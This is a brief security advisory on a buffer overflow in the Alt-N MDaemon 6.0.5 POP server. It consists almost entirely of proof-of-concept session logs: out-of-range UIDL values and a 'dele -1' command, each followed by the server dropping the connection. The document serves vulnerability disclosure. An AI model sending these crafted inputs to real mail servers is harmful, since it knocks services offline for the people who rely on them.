Alt-N MDaemon POP Server Buffer Overflow Vulnerability

The following proof of concepts was provided:

+OK somedomain.com POP MDaemon 6.0.5 ready
<MDAEMON-F200210290951.AA5138234MD2795@somedomain.com>
USER blah
+OK blah... Recipient ok
PASS 123456
+OK blah@somedomain.com's mailbox has 0 total messages (0 octets).
UIDL 2147483647
-ERR no such message
UIDL 2147483648
+OK -2147483648 !!! Index 0 is not used
UIDL 2147483649

Connection to host lost.

---

user dark
+OK dark... Recipient ok
pass ******
+OK dark@dark's mailbox has 13 total messages (2274775 octets).
dele -1

Connection to host lost.


 

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